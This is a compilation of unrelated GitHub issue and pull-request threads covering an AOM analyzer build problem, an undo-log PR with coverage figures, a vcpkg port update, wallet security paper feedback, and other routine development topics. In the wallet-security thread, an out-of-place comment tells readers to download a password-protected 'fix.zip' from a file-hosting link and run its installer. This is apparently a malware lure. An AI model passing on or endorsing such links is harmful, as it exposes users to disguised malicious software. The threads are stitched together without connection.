Checking C++ compiler flag support for: -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0
-- Performing Test CXX_FLAG_SUPPORTED
-- Performing Test CXX_FLAG_SUPPORTED - Success
Checking C compiler flag support for: -D_LARGEFILE_SOURCE
-- Performing Test C_FLAG_SUPPORTED
-- Performing Test C_FLAG_SUPPORTED - Success
Checking C++ compiler flag support for: -D_LARGEFILE_SOURCE
-- Performing Test CXX_FLAG_SUPPORTED
-- Performing Test CXX_FLAG_SUPPORTED - Success
Checking C compiler flag support for: -D_FILE_OFFSET_BITS=64
-- Performing Test C_FLAG_SUPPORTED
-- Performing Test C_FLAG_SUPPORTED - Success
Checking C++ compiler flag support for: -D_FILE_OFFSET_BITS=64
-- Performing Test CXX_FLAG_SUPPORTED
-- Performing Test CXX_FLAG_SUPPORTED - Success
-- Found PythonInterp: /usr/bin/python (found version "2.7.10")
Checking C compiler flag support for: -std=c++11
-- Performing Test HAVE_CXX_FLAG
-- Performing Test HAVE_CXX_FLAG - Success
-- Configuring done
-- Generating done
-- Build files have been written to: /Users/edward.shi/project/AOM/aom/javascript_build

when calling AOM analyzer with below command:
/Applications/AOMAnalyzer.app/Contents/MacOS/AOMAnalyzer --frames 1 --dev examples/inspect.js examples/Test.ivf

the output looks like
2018-02-11 14:08:09.087 AOMAnalyzer[36627:860846] IMKInputSession [0x7ffc1c6c9240 presentFunctionRowItemTextInputViewWithEndpoint:completionHandler:] : [self textInputContext]=0x0 NO NSRemoteViewController to client, NSError=Error Domain=NSCocoaErrorDomain Code=4097 "connection from pid 0" UserInfo={NSDebugDescription=connection from pid 0}, com.apple.inputmethod.EmojiFunctionRowItem

the file path looks like:
file:/// wiht 3 "/", is it correct?

How about the errors in the browser console? With the --def flag, you should be able to see the Chrome DevTools and see what the console errors are.
Can you upload the inspect.js and .ivf files somewhere so I can take a look?

Hi mebenita, got same error as shihuade. Built the inspect.js successfully, but the analyzer cannot load. The analyzer works fine the decoder and input file provided by you. Uploaded the inspect.js and input file.
test.zip

Thanks @rogerzhou-github, it looks like for some reason your inspect.js file doesn't export the UTF8ToString function that the analyzer expects. How did you build the inspect.js file? Using the directions in the AV1 code base?

@rogerzhou-github what version of Emscripten do you have? According to the docs, the function is exported by Emscripten. Also, how did you install Emscripten?

@rogerzhou-github looks like Emscripten has changed the list of exported functions, I'll have to add UTF8ToString to EXTRA_EXPORTED_RUNTIME_METHODS in the AOM repo.

I am using 1.37.34. Which emscripten version are you using?

@mbebenita, I went back to 1.36.14, and it works.

Hi, also got an issue in loading decoder. The analyzer still loading decoders. I tried both emscripten 1.38.6 and 1.36.14.
I tried the decoder and the input file provided by you and got a black screen on analyzer.


feature:build undo log by insert target SQL

What this PR does:
build undo log by insert target SQL
Which issue(s) this PR fixes:

Fixes #
#218
Special notes for your reviewer:
Does this PR introduce a user-facing change?:

Codecov Report

Merging #333 (5e37f89) into master (4b0278e) will decrease coverage by 3.65%.
The diff coverage is 36.41%.

@@            Coverage Diff             @@
##           master     #333      +/-   ##
==========================================
- Coverage   53.50%   49.85%   -3.66%
==========================================
  Files          95      100       +5
  Lines        4794     5681     +887
==========================================
+ Hits         2565     2832     +267
- Misses       2062     2651     +589
- Partials      167      198      +31

Impacted Files
Coverage Δ

pkg/datasource/sql/parser/parser_factory.go
50.94% <0.00%> (-11.85%)
:arrow_down:

...asource/sql/undo/builder/basic_undo_log_builder.go
52.91% <0.00%> (+6.87%)
:arrow_up:

.../datasource/sql/exec/select_for_update_executor.go
22.48% <22.48%> (ø)

.../sql/undo/builder/mysql_insert_undo_log_builder.go
38.98% <38.98%> (ø)

pkg/datasource/sql/exec/executor.go
1.85% <40.00%> (ø)

...e/sql/undo/builder/mysql_multi_undo_log_builder.go
2.63% <50.00%> (-0.04%)
:arrow_down:

...ndo/builder/mysql_multi_delete_undo_log_builder.go
56.09% <56.09%> (ø)

.../sql/undo/builder/mysql_delete_undo_log_builder.go
35.93% <100.00%> (-4.65%)
:arrow_down:

...ndo/builder/mysql_multi_update_undo_log_builder.go
44.44% <100.00%> (ø)

.../sql/undo/builder/mysql_update_undo_log_builder.go
29.90% <100.00%> (ø)

... and 3 more

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


chore: remove experiment code for celo withdrawals

Description
As the title, roll out variant with celo withdrawals disabled in the celo screen.
Other changes
N/A
Tested
N/A
How others should test
N/A
Related issues

Fixes RET-337

Backwards compatibility
Y

@kathaypacific I believe old CELO withdrawal flow can still be accessed via exchanges; we should move the e2e test to check the flow there.


[perfetto] update to 48.1

[x] Changes comply with the maintainer guide.
[x] SHA512s are updated for each updated download.
[x] The "supports" clause reflects platforms that may be fixed by this new version.
[x] Any fixed CI baseline entries are removed from that file.
[x] Any patches that are no longer applied are deleted from the port's directory.
[x] The version database is fixed by rerunning ./vcpkg x-add-version --all and committing the result.
[x] Only one version is added to each modified port's versions file.

/azp run

Rerunning due to network mistake last night.


Pillar 2: Security - Wallet Selection

I'm not sure what the security objective of this section is. I guess it is about the authenticity and trustworthiness of the wallet?
If so, I would suggest to spell that out and also describe how the measures describe contribute to that objective as well as which party in an ecosystem should apply those measures.
In general, this section would benefit from a more comprehensive description. For example, I'm not sure what is meant by "Secure connections and end-point management".
I'm also not sure, what role brute force attacks play in the context of this security objective. I guess this is more related to an adversary trying to break the user authentication of a wallet in order to steal data and/or impersonate the holder (?).
I would also argue "Man-in-the-Middle Attacks" deserve a dedicated section. I would assume those kind of attacks will be handled on the protocol level.

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Above noted, thanks. Likely this will need to go into a 2nd version of the paper as it could be quite comprehensive if, for example, a dedicated section is created for MITM attacks. Also noting that this is designed to be a high level paper that is digestible by non-experts, therefore we don't want to go to deep.
The SIG call attendees note that MITM attacks won't just be at the protocol level.


Improve Message When Repo Not Found

If I try to create a pipeline when the input repo does not exist, I get a message like the following:
repos test.user not found
First, it should be "repo" not "repos".  Second, including the ".user" as part of the repo name will be confusing to customers because it implies that they need to explicitly create a repo a called "test.user", which isn't the case. (And if they do try to create "test.user" they (correctly) get an error message saying that "test.user" isn't a valid repo name, and that will only contribute even more to their confusion.) Third, we should provide simple guidance to the customer on what they actually need to do to fix the issue.
I would suggest re-wording the message as follows:
ERROR: The input repo "test" required by this pipeline does not exist. Please run "pachctl create repo test" to create it before you create the pipeline.
Even better would be if we just created the repo if it didn't already exist. ;)

This seems fairly easy to improve. I'm assuming the error message is plural because it can return multiple repos. In which case I think it's fine to do the easy thing and just change the message to "repo(s)". Agree with @dgeorg42  about the rest of the message.
I'm a little less sure about creating the repo if it doesn't exist, we do that for branches which I think makes sense. But with a repo if they were to typo the name of a repo that would create a repo with that typoed named and not have any input. Which might be confusing. Theoretically the same thing can happen with a branch but since that's mostly used for the master branch that doesn't exist yet I think it makes sense overall.
@acohen4 giving this one to you since you're oncall this week.

It's actually plural because we print out the collection name, I don't think we support multiple repos in that error. Also just to double check, what version was this on? We shouldn't be showing .user suffixes anywhere anymore.

@PFedak - I originally saw this on Beta 1, but the behavior is the same in Beta 2.


Backend shade layer

Resolves #638, resolves #650, resolves #530.
Basics

[x] I added a line to /doc/CHANGELOG.md
[x] The PR is rebased with current master.

[x] References to issues, e.g. close #X, are in the commit messages.
[x] The buildserver is happy.

Checklist

[ ] I have installed and I am using pre-commit hooks
[ ] I fully described what my PR does in the documentation
(not in the PR description)
[ ] I fixed all affected documentation
[ ] I fixed all affected decisions
[ ] I added unit tests for my code
[ ] I added code comments, logging, and assertions as appropriate
[ ] I translated all strings visible to the user
[ ] I mentioned every code or binary not directly written or done by me in reuse syntax
[ ] I created left-over issues for things that are still to be done
[ ] Code is conforming to our Architecture
[ ] Code is conforming to our Guidelines
(exceptions are documented)
[ ] Code is consistent to our Design Decisions

Review

[ ] I've tested the code
[ ] I've read through the whole code
[ ] Examples are well chosen and understandable

Can you please split the changes of

backend/migrations/2023-07-03-165000_heatmap/up.sql, I want to merge this now as we need this for the stable release (after that we don't want any incompatible changes in migrations anymore, i.e. no modification of existing migration files)
improvements of patch file (there is also 659 improve documentation about patch file #676, maybe simply push it there)
and the actual shade layer

Do you mean to split this PR into 3 separate PRs? If so that won't really be possible as the changes are all interlinked (e.g. I would need to change the Rust code as well to fit with the updated heatmap SQL, which would mean somehow extracting all relevant changes from this PR).
Since this PR is finished from my side it would be faster to merge this as is.

Unfortunately, it is difficult to see without test protocol/images/explanations of the overall algorithm if it actually does what it should do. Some examples would be also very helpful, e.g. what is the result of the score and the color if the shading is N steps away from what the plant wants. Also test cases for that would be helpful.

I now added a manual test to show it works and so you can replicate it.

So just to be safe, it would be great to have an extra PR which just includes the backend/migrations/2023-07-03-165000_heatmap/down.sql and backend/migrations/2023-07-03-165000_heatmap/up.sql, and the rest of your changes on top of it.

I would basically need to rewrite this whole PR for that which is why I said it is faster to merge this. I have time this evening, tomorrow evening and on Tuesday to fix problems with this so I would ask @badnames to add his review tomorrow if that is possible.

jenkins build please

@markus2330 @badnames This PR is now finished from my side including performance improvements, etc.

@flo91 thx for the review!
@badnames can you please work that review in (in your branch).

@flo91 thx for the review!
@badnames can you please work that review in (in your branch).

Yes of course

@temmey @flo91 Your change requests have been incorporated into #804.

I close now as there is already a follow-up PR.


v5.1.1

[x] I have followed (at least) the PR section of the contributing guide.

I did a quick polish with d9b09aa86e and be more verbose.
I think that as we grow the team, we could experiment with this approach https://github.com/prisma/prisma/releases/tag/3.5.0 approach, to use the changelog as a mini-blog post to explain/sell the product changes. We have a page on Notion is about maturing the reflection.


Add Favicon on all pages

🐛 Bug Report
There is no favicon on all pages. It is only there in home page.
I would like to do the necessary changes.
Please assign it to me.
Add relevant screenshot or video (if any)
(Add here)

/assign


Problem entering date by URL

It is impossible to use dates from the QueryString to autofill dated forms

When selecting a Full Calendar date, for example, in the URL it places the date correctly, but in the date input it subtracts the 3 hs of UTC (-03:00) of Argentina

Apparently the problem comes in how the dates are formatted, by UTC. but I can't determine what the solution would be, and I don't know if the database is set to UTC -03:00 in my case, or UTC 0
@glutamate

It is a problem that I had been ignoring for a long time, but due to lack of time I always opted for alternative solutions and they were of little implication. But now I find that I have to put together an app that manages dates, and this is a real headache


fix: 🐛 Pin polkadot dependencies

Description
polkadot api introduced breaking changes with their BTreeSet around
8.3.1. We need to pin our dependencies so consumers get a working
version
Breaking Changes
JIRA Link
Issue discovered when working on DA-348
Checklist

[ ] Updated the Readme.md (if required) ?

:tada: This PR is included in version 15.0.0-alpha.2 :tada:
The release is available on:

npm package (@alpha dist-tag)
GitHub release

Your semantic-release bot :package::rocket:

:tada: This PR is included in version 15.0.0-beta.1 :tada:
The release is available on:

npm package (@beta dist-tag)
GitHub release

Your semantic-release bot :package::rocket:

:tada: This PR is included in version 15.0.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


feature/deployment

Relates to issue #184

[x] CI to build docker images and push to registry
[x] Adding terraform scaffold
[x] Terraform to create server and associated network

[x] demo
[x] ctrl code

[ ] Terraform for

[x] DNS entry and
[x] TLS cert

[x] User data / cloud-init for server set-up and running service

Now need to:

[ ] sort out master.key
[ ] ensure email server is working with webserver

This Branch is a bit strange as it initially had all the work for deployment. Then the deployment work was torn out and moved to another repo. This required some subsequent work (see 'files changed') to ensure that the configuration required for deployment could be passed through.